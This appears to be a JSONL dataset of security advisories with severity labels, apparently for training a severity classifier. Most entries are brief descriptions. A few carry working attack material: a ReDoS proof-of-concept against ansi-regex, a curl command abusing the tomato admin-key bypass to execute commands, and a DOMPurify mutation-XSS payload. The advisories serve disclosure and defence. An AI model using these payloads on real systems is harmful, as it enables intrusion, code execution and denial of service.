-{"id": "a8b2cbe06232bf4d6fe8", "text": "Path Traversal in swagger-injector\n\nAll versions of `swagger-injector` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the configured `dist` folder using relative paths.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Path Traversal in swagger-injector\n\n[Severity: CRITICAL]\n\nAll versions of `swagger-injector` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the configured `dist` folder using relative paths.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "770598fb004665f4b06e", "text": "yetiforcecrm is vulnerable to Cross-Site Request Forgery (CSRF)\n\nyetiforcecrm is vulnerable to Cross-Site Request Forgery (CSRF).", "text_raw": "yetiforcecrm is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: MEDIUM]\n\nyetiforcecrm is vulnerable to Cross-Site Request Forgery (CSRF).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "68d6c11e34f3f66de734", "text": "Division by zero in TFLite's implementation of `GatherNd`\n\n### Impact\nThe reference implementation of the `GatherNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/reference_ops.h#L966):\n\n```cc \nret.dims_to_count[i] = remain_flat_size / params_shape.Dims(i);\n```\n\nAn attacker can craft a model such that `params` input would be an empty tensor. In turn, `params_shape.Dims(.)` would be zero, in at least one dimension.\n\n### Patches\nWe have patched the issue in GitHub commit [8e45822aa0b9f5df4b4c64f221e64dc930a70a9d](https://github.com/tensorflow/tensorflow/commit/8e45822aa0b9f5df4b4c64f221e64dc930a70a9d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `GatherNd`\n\n[Severity: LOW]\n\n### Impact\nThe reference implementation of the `GatherNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/reference_ops.h#L966):\n\n```cc \nret.dims_to_count[i] = remain_flat_size / params_shape.Dims(i);\n```\n\nAn attacker can craft a model such that `params` input would be an empty tensor. In turn, `params_shape.Dims(.)` would be zero, in at least one dimension.\n\n### Patches\nWe have patched the issue in GitHub commit [8e45822aa0b9f5df4b4c64f221e64dc930a70a9d](https://github.com/tensorflow/tensorflow/commit/8e45822aa0b9f5df4b4c64f221e64dc930a70a9d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. \n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "6b4c4ea116bb32332870", "text": "Inadequate Encryption Strength in DotNetNuke\n\nDNN (aka DotNetNuke) 9.2 through 9.2.1 uses a weak encryption algorithm to protect input parameters.", "text_raw": "Inadequate Encryption Strength in DotNetNuke\n\n[Severity: HIGH]\n\nDNN (aka DotNetNuke) 9.2 through 9.2.1 uses a weak encryption algorithm to protect input parameters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "91231620705a90009a7e", "text": "Nodesass is malware\n\nThe `nodesass` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "Nodesass is malware\n\n[Severity: MEDIUM]\n\nThe `nodesass` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "ded7f7d0128a096554ef", "text": "Trend Micro Multiple Products Improper Input Validation Vulnerability\n\nAffected: Trend Micro Apex One, Apex One as a Service, and Worry-Free Business Security\n\nTrend Micro Apex One, Apex One as a Service, and Worry-Free Business Security contain an improper input validation vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Trend Micro Multiple Products Improper Input Validation Vulnerability\n\nAffected: Trend Micro Apex One, Apex One as a Service, and Worry-Free Business Security\n\nTrend Micro Apex One, Apex One as a Service, and Worry-Free Business Security contain an improper input validation vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "80cf84fafe446a022d63", "text": "missing clamps for decimal args in external functions\n\n### Impact\n\nThe following code does not properly validate that its input is in bounds.\n\n```python\n@external\ndef foo(x: decimal) -> decimal:\n    return x\n```\n\n### Patches\n0.3.0 / #2447\n\n### Workarounds\nDon't use decimal args", "text_raw": "missing clamps for decimal args in external functions\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe following code does not properly validate that its input is in bounds.\n\n```python\n@external\ndef foo(x: decimal) -> decimal:\n    return x\n```\n\n### Patches\n0.3.0 / #2447\n\n### Workarounds\nDon't use decimal args\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "393b3c427b7448aeaa7a", "text": "SQL Injection in thinkjs\n\nSQL injection vulnerability in the model.increment and model.decrement function in ThinkJS 3.2.10 allows remote attackers to execute arbitrary SQL commands via the step parameter.", "text_raw": "SQL Injection in thinkjs\n\n[Severity: HIGH]\n\nSQL injection vulnerability in the model.increment and model.decrement function in ThinkJS 3.2.10 allows remote attackers to execute arbitrary SQL commands via the step parameter.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-19", "split": "train"}
-{"id": "5526bad24f978b9e61b3", "text": "XXE vulnerability in Launch import\n\n| Release Date | Affected Projects | Affected Versions | Access Vector| Security Risk |\n|--------------|-------------------|-------------------|---------------|---------------|\n| Monday, May 4, 2020| [service-api](https://github.com/reportportal/service-api) | Every version, starting from 3.1.0 | Remote | Medium |\n\n### Impact\nStarting from version 3.1.0 we introduced a new feature of JUnit XML launch import. Unfortunately XML parser was not configured properly to prevent XML external entity (XXE) attacks. This allows a user to import a specifically-crafted XML file that uses external entities for extraction of secrets from Report Portal service-api module or server-side request forgery.\n\nReport Portal versions 4.3.12+ and 5.1.1+ disables external entity resolution for theirs XML parser.\n\nWe advise our users install the latest releases we built specifically to address this issue.\n\n### Patches\nFixed with https://github.com/reportportal/service-api/pull/1201\n\n### Binary Download\nhttps://bintray.com/epam/reportportal/service-api/5.1.1\nhttps://bintray.com/epam/reportportal/service-api/4.3.12\n\n### Docker Container Download\n* RP v4: `docker pull reportportal/service-api:4.3.12`\n* RP v5: `docker pull reportportal/service-api:5.1.1`\n\n### Acknowledgement\nThe issue was reported to Report Portal Team by an external security researcher.\nOur Team thanks Julien M. for reporting the issue.\n\n### For more information\nIf you have any questions or comments about this advisory email us: [support@reportportal.io](mailto:support@reportportal.io)", "text_raw": "XXE vulnerability in Launch import\n\n[Severity: HIGH]\n\n| Release Date | Affected Projects | Affected Versions | Access Vector| Security Risk |\n|--------------|-------------------|-------------------|---------------|---------------|\n| Monday, May 4, 2020| [service-api](https://github.com/reportportal/service-api) | Every version, starting from 3.1.0 | Remote | Medium |\n\n### Impact\nStarting from version 3.1.0 we introduced a new feature of JUnit XML launch import. Unfortunately XML parser was not configured properly to prevent XML external entity (XXE) attacks. This allows a user to import a specifically-crafted XML file that uses external entities for extraction of secrets from Report Portal service-api module or server-side request forgery.\n\nReport Portal versions 4.3.12+ and 5.1.1+ disables external entity resolution for theirs XML parser.\n\nWe advise our users install the latest releases we built specifically to address this issue.\n\n### Patches\nFixed with https://github.com/reportportal/service-api/pull/1201\n\n### Binary Download\nhttps://bintray.com/epam/reportportal/service-api/5.1.1\nhttps://bintray.com/epam/reportportal/service-api/4.3.12\n\n### Docker Container Download\n* RP v4: `docker pull reportportal/service-api:4.3.12`\n* RP v5: `docker pull reportportal/service-api:5.1.1`\n\n### Acknowledgement\nThe issue was reported to Report Portal Team by an external security researcher.\nOur Team thanks Julien M. for reporting the issue.\n\n### For more information\nIf you have any questions or comments about this advisory email us: [support@reportportal.io](mailto:support@reportportal.io)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "b4ec2bfda7323289517e", "text": "Helm OCI credentials leaked into Argo CD logs\n\n### Impact\n\nWhen Argo CD was connected to a Helm OCI repository with authentication enabled, the credentials used for accessing the remote repository were logged.\n\nAnyone with access to the pod logs - either via access with appropriate permissions to the Kubernetes control plane or a third party log management system where the logs from Argo CD were aggregated - could have potentially obtained the credentials to the Helm OCI repository.\n\nIf you are using Helm OCI repositories with Argo CD, it is strongly recommended to upgrade Argo CD to the latest patch version and to change the credentials used to access the repositories.\n\n### Patches\n\nA patch for this vulnerability is available with the v1.8.7 and v1.7.14 releases of Argo CD.\n\n### Workarounds\n\nNo workaround available\n\n### References\n\nN/A\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel `#argo-cd`\n\n### Credits\n\nThis vulnerability was found and reported by a third-party who wishes to stay anonymous. We want to thank this third-party for disclosing this vulnerability to us in a responsible manner.", "text_raw": "Helm OCI credentials leaked into Argo CD logs\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen Argo CD was connected to a Helm OCI repository with authentication enabled, the credentials used for accessing the remote repository were logged.\n\nAnyone with access to the pod logs - either via access with appropriate permissions to the Kubernetes control plane or a third party log management system where the logs from Argo CD were aggregated - could have potentially obtained the credentials to the Helm OCI repository.\n\nIf you are using Helm OCI repositories with Argo CD, it is strongly recommended to upgrade Argo CD to the latest patch version and to change the credentials used to access the repositories.\n\n### Patches\n\nA patch for this vulnerability is available with the v1.8.7 and v1.7.14 releases of Argo CD.\n\n### Workarounds\n\nNo workaround available\n\n### References\n\nN/A\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel `#argo-cd`\n\n### Credits\n\nThis vulnerability was found and reported by a third-party who wishes to stay anonymous. We want to thank this third-party for disclosing this vulnerability to us in a responsible manner.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "c8078acf8a11c5b39b92", "text": "IBM Data Risk Manager Remote Code Execution Vulnerability\n\nAffected: IBM Data Risk Manager\n\nIBM Data Risk Manager contains an unspecified vulnerability which could allow a remote, authenticated attacker to execute commands on the system.�\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "IBM Data Risk Manager Remote Code Execution Vulnerability\n\nAffected: IBM Data Risk Manager\n\nIBM Data Risk Manager contains an unspecified vulnerability which could allow a remote, authenticated attacker to execute commands on the system.�\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "19c7f1766ef58adcff56", "text": "iniNet SpiderControl SCADA Editor 6.30.01 Insecure File Permissions", "text_raw": "iniNet SpiderControl SCADA Editor 6.30.01 Insecure File Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-12-06", "split": "train"}
-{"id": "8973f282e62d9c484e99", "text": "TeamViewer Desktop Bypass Remote Login Vulnerability\n\nAffected: TeamViewer Desktop\n\nTeamViewer Desktop allows for bypass of remote-login access control because the same AES key is used for different customers' installations. If an attacker were to know this key, they could decrypt protected information stored in registry or configuration files or decryption of the Unattended Access password to the system (which allows for remote login to the system).\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-521\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "TeamViewer Desktop Bypass Remote Login Vulnerability\n\nAffected: TeamViewer Desktop\n\nTeamViewer Desktop allows for bypass of remote-login access control because the same AES key is used for different customers' installations. If an attacker were to know this key, they could decrypt protected information stored in registry or configuration files or decryption of the Unattended Access password to the system (which allows for remote login to the system).\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-521\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "9341812d4063fdeafd8e", "text": "Inefficient Regular Expression Complexity in chalk/ansi-regex\n\nansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.\n\n**Proof of Concept**\n```js\nimport ansiRegex from 'ansi-regex';\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\n    ansiRegex().test(attack_str)\n    var time_cost = Date.now() - time;\n    console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n}\n```\nThe ReDOS is mainly due to the sub-patterns `[[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`", "text_raw": "Inefficient Regular Expression Complexity in chalk/ansi-regex\n\n[Severity: HIGH]\n\nansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.\n\n**Proof of Concept**\n```js\nimport ansiRegex from 'ansi-regex';\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\n    ansiRegex().test(attack_str)\n    var time_cost = Date.now() - time;\n    console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n}\n```\nThe ReDOS is mainly due to the sub-patterns `[[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "1412f75480ec290077ff", "text": "URL Redirection to Untrusted Site ('Open Redirect') in Products.isurlinportal\n\n### Impact\nVarious parts of Plone use the 'is url in portal' check for security, mostly to see if it is safe to redirect to a url. A url like `https://example.org` is not in the portal.\nBut the url `https:example.org` without slashes tricks our code and it _is_ considered to be in the portal.\nWhen redirecting, some browsers go to `https://example.org`, others give an error.\nAttackers may use this to redirect you to their site, especially as part of a phishing attack.\n\n### Patches\nThe problem has been patched in `Products.isurlinportal` 1.2.0.\nThis is a recommended upgrade for all users of Plone 4.3 and 5, on Python 2.7 or higher.\nIt has not been tested on earlier Plone or Python versions.\nUpcoming Plone 5.2.5 and higher will include the new version.\n\n### Discovered\nThis vulnerability was discovered and reported by Yuji Tounai of Mitsui Bussan Secure Directions, Inc. Thank you!\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email the Plone Security Team at [security@plone.org](mailto:security@plone.org), especially when you think you have discovered a security problem or when you are not sure.\n* Open an issue in [the tracker](https://github.com/plone/Products.isurlinportal/issues) if your question or comment can be public.", "text_raw": "URL Redirection to Untrusted Site ('Open Redirect') in Products.isurlinportal\n\n[Severity: HIGH]\n\n### Impact\nVarious parts of Plone use the 'is url in portal' check for security, mostly to see if it is safe to redirect to a url. A url like `https://example.org` is not in the portal.\nBut the url `https:example.org` without slashes tricks our code and it _is_ considered to be in the portal.\nWhen redirecting, some browsers go to `https://example.org`, others give an error.\nAttackers may use this to redirect you to their site, especially as part of a phishing attack.\n\n### Patches\nThe problem has been patched in `Products.isurlinportal` 1.2.0.\nThis is a recommended upgrade for all users of Plone 4.3 and 5, on Python 2.7 or higher.\nIt has not been tested on earlier Plone or Python versions.\nUpcoming Plone 5.2.5 and higher will include the new version.\n\n### Discovered\nThis vulnerability was discovered and reported by Yuji Tounai of Mitsui Bussan Secure Directions, Inc. Thank you!\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email the Plone Security Team at [security@plone.org](mailto:security@plone.org), especially when you think you have discovered a security problem or when you are not sure.\n* Open an issue in [the tracker](https://github.com/plone/Products.isurlinportal/issues) if your question or comment can be public.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "387535ce2d1d48491ec9", "text": "Command Injection in picotts\n\nThis affects all versions up to and including version 0.1.1 of package picotts. If attacker-controlled user input is given to the say function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Command Injection in picotts\n\n[Severity: CRITICAL]\n\nThis affects all versions up to and including version 0.1.1 of package picotts. If attacker-controlled user input is given to the say function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "56a8f83bce141fff3641", "text": "Out of bounds read in bra\n\nBuffered Random Access (BRA) provides easy random memory access to a sequential source of data in Rust. This is achieved by greedily retaining all memory read from a given source. Buffered Random Access (BRA) provides easy random memory access to a sequential source of data in Rust. An issue was discovered in the bra crate before 0.1.1 for Rust. It lacks soundness because it can read uninitialized memory.", "text_raw": "Out of bounds read in bra\n\n[Severity: CRITICAL]\n\nBuffered Random Access (BRA) provides easy random memory access to a sequential source of data in Rust. This is achieved by greedily retaining all memory read from a given source. Buffered Random Access (BRA) provides easy random memory access to a sequential source of data in Rust. An issue was discovered in the bra crate before 0.1.1 for Rust. It lacks soundness because it can read uninitialized memory.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3649b1e6b9fca9281a30", "text": "XSS vulnerability in Author URL of themes in Mautic\n\n### Impact\nAn XSS vulnerability was discovered in Mautic 2.13.1 in the Author URL of themes.\n\n### Patches\nUpdate to 2.14 or later\n\n### Workarounds\nNone\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/2.14.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "XSS vulnerability in Author URL of themes in Mautic\n\n[Severity: MEDIUM]\n\n### Impact\nAn XSS vulnerability was discovered in Mautic 2.13.1 in the Author URL of themes.\n\n### Patches\nUpdate to 2.14 or later\n\n### Workarounds\nNone\n\n### References\nhttps://github.com/mautic/mautic/releases/tag/2.14.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "4e7abf58694666ee536f", "text": "API Admin Auth Weakness in tomato\n\nVersions of `tomato` prior to 0.0.6 are affected by a somewhat complex authentication bypass vulnerability in the admin service when only a single access key is configured on the server. The vulnerability allows an attacker to guess the password for the admin service, no matter how complex that password is, in less than 200 requests.\n\n## Details\nThe tomato API has an admin service that is enabled by setting up an `access_key` in the config options. This `access_key` is intended to protect the API admin from unauthorized access.\n\nTomato verifies the `access_key` by checking to see if the server `access_key` incorporates the user provided value at any location. This allows an attacker to provide a single character as an `access_key`, and so long as the server key contains at least one instance of that character it will be considered a valid key.\n\n## Proof of Concept\nThis is the snippet of code that does the comparison to authorize requests.\n\n```\nif (access_key && config.master.api.access_key.indexOf(access_key) !== -1) {\n```\n\nFor an access_key that is set to anything that includes the letter 'a' the following request would be authorized.\n\n```\n$ curl -X POST \"http://localhost:8081/api/exec\" -H \"Content-Type: application/json\" -d @test -H \"access-key: a\"\n{\n \"cmd\": \"ls\",\n \"path\": \".\",\n \"stdout\": \"app.js\\nconfig.js\\nlog\\nnode_modules\\nserver.js\\n\",\n \"stderr\": \"\"\n}\n```\n\n## Recommendation\n\nUpdate to version 0.0.6 or later.", "text_raw": "API Admin Auth Weakness in tomato\n\n[Severity: CRITICAL]\n\nVersions of `tomato` prior to 0.0.6 are affected by a somewhat complex authentication bypass vulnerability in the admin service when only a single access key is configured on the server. The vulnerability allows an attacker to guess the password for the admin service, no matter how complex that password is, in less than 200 requests.\n\n\n## Details\nThe tomato API has an admin service that is enabled by setting up an `access_key` in the config options. This `access_key` is intended to protect the API admin from unauthorized access.\n\n\nTomato verifies the `access_key` by checking to see if the server `access_key` incorporates the user provided value at any location. This allows an attacker to provide a single character as an `access_key`, and so long as the server key contains at least one instance of that character it will be considered a valid key.\n\n## Proof of Concept\nThis is the snippet of code that does the comparison to authorize requests.\n\n```\nif (access_key && config.master.api.access_key.indexOf(access_key) !== -1) {\n```\n\nFor an access_key that is set to anything that includes the letter 'a' the following request would be authorized.\n\n```\n$ curl -X POST \"http://localhost:8081/api/exec\" -H \"Content-Type: application/json\" -d @test -H \"access-key: a\"\n{\n \"cmd\": \"ls\",\n \"path\": \".\",\n \"stdout\": \"app.js\\nconfig.js\\nlog\\nnode_modules\\nserver.js\\n\",\n \"stderr\": \"\"\n}\n```\n\n\n\n## Recommendation\n\nUpdate to version 0.0.6 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "d5f18d39dd753896f58a", "text": "Strapi allows unauthenticated attacker to reset admin password without valid reset token\n\nVersions of `strapi` prior to 3.0.0-beta.17.5 are vulnerable to Privilege Escalation. The password reset routes allows an unauthenticated attacker to reset an admin's password without providing a valid password reset token.\n\n## Recommendation\n\nUpgrade to version 3.0.0-beta.17.5 or later.", "text_raw": "Strapi allows unauthenticated attacker to reset admin password without valid reset token\n\n[Severity: CRITICAL]\n\nVersions of `strapi` prior to 3.0.0-beta.17.5 are vulnerable to Privilege Escalation. The password reset routes allows an unauthenticated attacker to reset an admin's password without providing a valid password reset token.\n\n\n## Recommendation\n\nUpgrade to version 3.0.0-beta.17.5 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "cd2a23b467f66236499e", "text": "Dragonfly contains remote code execution vulnerability\n\nAn argument injection vulnerability in the Dragonfly gem before 1.4.0 for Ruby allows remote attackers to read and write to arbitrary files via a crafted URL when the `verify_url` option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.", "text_raw": "Dragonfly contains remote code execution vulnerability\n\n[Severity: CRITICAL]\n\nAn argument injection vulnerability in the Dragonfly gem before 1.4.0 for Ruby allows remote attackers to read and write to arbitrary files via a crafted URL when the `verify_url` option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-02", "split": "train"}
-{"id": "5ba8ddcc22b3cb531ca1", "text": "Insufficient Entropy in parsel\n\nAll versions of `parsel` use an insecure key derivation function. The package runs keys of arbitrary lengths through one round of SHA256 hashing for key stretching. This allows for the use of keys of insufficient entropy with inappropriate key stretching.\n\n## Recommendation\n\nThe package is deprecated and will not be updated. Consider using an alternative package.", "text_raw": "Insufficient Entropy in parsel\n\n[Severity: CRITICAL]\n\nAll versions of `parsel` use an insecure key derivation function. The package runs keys of arbitrary lengths through one round of SHA256 hashing for key stretching. This allows for the use of keys of insufficient entropy with inappropriate key stretching.\n\n\n## Recommendation\n\nThe package is deprecated and will not be updated. Consider using an alternative package.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "63f5ff9f6bce1bb54abd", "text": "Denial of Service in @hapi/content\n\nVersions of `@hapi/content` prior to 4.1.1 and 5.0.1 are vulnerable to Denial of Service. The Content-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nUpgrade to version 5.0.2. Versions 4.1.1 and 5.0.1 are fixed but only available for direct download through the repository.", "text_raw": "Denial of Service in @hapi/content\n\n[Severity: HIGH]\n\nVersions of `@hapi/content` prior to 4.1.1 and 5.0.1 are vulnerable to Denial of Service. The Content-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nUpgrade to version 5.0.2. Versions 4.1.1 and 5.0.1 are fixed but only available for direct download through the repository.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "94ed51564d2f906ef854", "text": "Cross-Site Scripting in dompurify\n\nVersions of `dompurify` prior to 2.0.3 are vulnerable to Cross-Site Scripting (XSS). The package has an XSS filter bypass due to Mutation XSS in both Chrome and Safari through a combination of `<svg>`/`<math>` elements and `</p>`/`</br>`. An example payload is: `<svg></p><style><a id=\"</style><img src=1 onerror=alert(1)>\">`. This allows attackers to bypass the XSS protection and execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 2.0.3 or later. You may also disallow `<svg>` and `<math>` through `dompurify` configurations:\n```DOMPurify.sanitize(input, {\n     FORBID_TAGS: ['svg', 'math']\n });```", "text_raw": "Cross-Site Scripting in dompurify\n\n[Severity: MEDIUM]\n\nVersions of `dompurify` prior to 2.0.3 are vulnerable to Cross-Site Scripting (XSS). The package has an XSS filter bypass due to Mutation XSS in both Chrome and Safari through a combination of `<svg>`/`<math>` elements and `</p>`/`</br>`. An example payload is: `<svg></p><style><a id=\"</style><img src=1 onerror=alert(1)>\">`. This allows attackers to bypass the XSS protection and execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 2.0.3 or later. You may also disallow `<svg>` and `<math>` through `dompurify` configurations:\n```DOMPurify.sanitize(input, {\n     FORBID_TAGS: ['svg', 'math']\n });```", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-28", "split": "train"}
-{"id": "21fc337b3540771f1a83", "text": "Withdrawn, accidental duplicate publish.\n\nThe rack-mini-profiler gem before 0.10.1 for Ruby allows remote attackers to obtain sensitive information about allocated strings and objects by leveraging incorrect ordering of security checks.", "text_raw": "Moderate severity vulnerability that affects rack-mini-profiler\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe rack-mini-profiler gem before 0.10.1 for Ruby allows remote attackers to obtain sensitive information about allocated strings and objects by leveraging incorrect ordering of security checks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "9a81ae56978e362573d1", "text": "Microsoft MSHTML Remote Code Execution Vulnerability\n\nAffected: Microsoft MSHTML\n\nMicrosoft MSHTML engine contains an improper input validation vulnerability that allows for remote code execution vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-77\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft MSHTML Remote Code Execution Vulnerability\n\nAffected: Microsoft MSHTML\n\nMicrosoft MSHTML engine contains an improper input validation vulnerability that allows for remote code execution vulnerability.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-77\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
